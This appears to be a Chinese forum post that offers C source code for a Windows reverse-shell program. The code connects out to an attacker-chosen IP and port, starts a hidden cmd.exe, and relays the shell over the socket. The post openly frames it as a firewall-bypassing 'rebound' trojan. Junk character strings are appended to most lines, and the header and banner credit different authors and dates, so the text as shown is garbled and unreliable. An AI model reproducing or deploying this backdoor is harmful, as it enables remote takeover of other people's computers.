这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ,4,./wIq
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/* ============================== PGTjOkx
Rebound port in Windows NT ,k:>Z&:
By wind,2006/7 oC!z+<
===============================*/ >n&+<06
#include dZd]p8
#include eY:jVYG(
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#pragma comment(lib,"wsock32.lib") (f"LD8MJ/
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void OutputShell(); (3m^@2i
SOCKET sClient; cGg~+R2P
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; kf' 4C
"}
]*rK;
void main(int argc,char **argv) *2m{i:3
{ '_n$xfH
WSADATA stWsaData; ~P-^An^
int nRet; 7X/B9Hee
SOCKADDR_IN stSaiClient,stSaiServer; c`)[-
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if(argc != 3) :{#w-oC>6P
{ qHYoQ.ke
printf("Useage:\n\rRebound DestIP DestPort\n"); jpiBHi]5+
return; Hq <!&
} NrcxuItkYn
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WSAStartup(MAKEWORD(2,2),&stWsaData); <)oW
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Pfg.'Bl
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stSaiClient.sin_family = AF_INET; Y)C!N$=@Q
stSaiClient.sin_port = htons(0); Gd[:&h
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); SivJaY%
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ? C6tYd
{ f5t/=/6>F
printf("Bind Socket Failed!\n"); c38ENf
return; @ql S #(
} $?|$uMIafp
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stSaiServer.sin_family = AF_INET; K|wB0TiXP
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); U!524"@%U`
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); e:;u_be~
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3c[TPD_:
{ PCiwQ4~
printf("Connect Error!"); Ob
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return; rIAbr5CG
} p y%RR*4#
OutputShell(); X:OUu;
} FWQNO(
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void OutputShell() Uizg.<.
{ d01]5'f?o
char szBuff[1024]; \2y[Hy?
SECURITY_ATTRIBUTES stSecurityAttributes;
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OSVERSIONINFO stOsversionInfo; ![aa@nOSa
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; O g!SFg*
STARTUPINFO stStartupInfo; X32{y973hT
char *szShell; ee
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PROCESS_INFORMATION stProcessInformation; 78t:ge
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unsigned long lBytesRead; 1C<@QrT
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7) Qq
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); KWiP`h8
stSecurityAttributes.lpSecurityDescriptor = 0; sH+ 90|?
stSecurityAttributes.bInheritHandle = TRUE; #b$qtp!,
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); A $W~R
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )PjU=@$lI
P?j ;&@$^e
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); em?Q4t
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; irKM?#h
stStartupInfo.wShowWindow = SW_HIDE; e3]v
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stStartupInfo.hStdInput = hReadPipe; +W}6o3x~
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ! +XreCw
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GetVersionEx(&stOsversionInfo); 4>(rskl_
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switch(stOsversionInfo.dwPlatformId) hf< [$B
{ O#x=iZI
case 1: #,Cz+k*4
szShell = "command.com"; s-JS[
break; zAH6SaI$
default: nXfdf-
szShell = "cmd.exe"; n|eM}ymF+
break; 80 ckh
} CX#d9
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <,,X\>B
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send(sClient,szMsg,77,0); )w,<XJhg`
while(1) #N;McF;W
{ {_~vf
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :r9<wbr)k0
if(lBytesRead) 5+a5pC
{ - |4 Oq
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 1\-r5e; BE
send(sClient,szBuff,lBytesRead,0); N."x@mV
} QM@zy
else 0HN%3AG]
{ x.Tulo0/
lBytesRead=recv(sClient,szBuff,1024,0); /cZTj!M
if(lBytesRead<=0) break; $+$4W\-=X
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); aATNeAR
} sq?js#C5
} }!V-FAL
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return; k5)a|
}